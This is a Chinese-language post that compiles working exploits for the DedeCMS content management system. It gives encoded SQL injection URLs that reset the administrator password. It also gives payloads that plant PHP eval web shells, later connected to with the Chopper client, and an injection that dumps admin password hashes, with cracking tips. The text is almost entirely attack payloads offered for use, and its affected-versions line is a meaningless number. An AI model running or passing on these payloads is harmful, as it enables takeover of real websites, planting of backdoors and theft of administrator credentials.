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dedecms漏洞总汇

1、修改任意管理员漏洞

EXP:

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plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95
&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105
&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96
&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117
&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61
&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114
&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96
&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53
&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56
&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32
&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105
&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35 
如果不出问题,后台登录用户spider密码admin
2、生成一句话
EXP:
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/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95
&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105
&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96
&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110
&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100
&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123
&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104
&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95
&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110
&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39
&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39
&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112
&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108
&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91
&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39
&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101
&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87
&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105
&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
update成功后,访问下http://127.0.0.1/plus/mytag_js.php?aid=1
会在plus目录生成 x.php   一句话密码 m
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
3、一句话
EXP:
1
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96

成功增加。

访问http://www.xxx.com/plus/mytag_js.php?aid=9013
生成一句话木马.
菜刀连接http://www.xxx.com/plus/90sec.php  密码 guige

影响到的版本如下:
6597994455937003599
查看dedecms版本的方法:http://www.xxx.com/data/admin/ver.txt
最后发一个2014最新的终极注入:
1
/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878
爆出来的20位MD5 减掉前三位和最后一位  剩下的16位破解!

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